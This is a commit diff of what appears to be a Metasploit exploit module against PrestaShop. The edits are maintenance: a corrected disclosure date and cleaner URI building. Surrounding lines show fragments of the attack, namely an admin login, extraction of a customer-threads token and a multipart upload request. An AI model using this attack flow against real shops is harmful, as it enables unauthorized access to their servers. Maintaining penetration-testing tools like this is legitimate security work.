fix normalize and date
parent
aca3f44c9b
commit
a28feed7d8
|
@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
[ 'prestashop', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 19 2018'))
|
||||
'DisclosureDate' => 'Oct 23 2018'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
@ -92,7 +92,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status("Logging in with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path) + '/index.php',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'ajax' => 1,
|
||||
|
@ -127,7 +127,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
/AdminCustomerThreads&token=(?<token>\w{32})/ =~ res.body
|
||||
vprint_status("Customer Threads Token: #{token}")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path) + '/index.php',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'controller' => 'AdminCustomerThreads',
|
||||
|
@ -157,7 +157,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path) + '/index.php',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s,
|
||||
'cookie' => cookie,
|
||||
|
|
Loading…
Reference in New Issue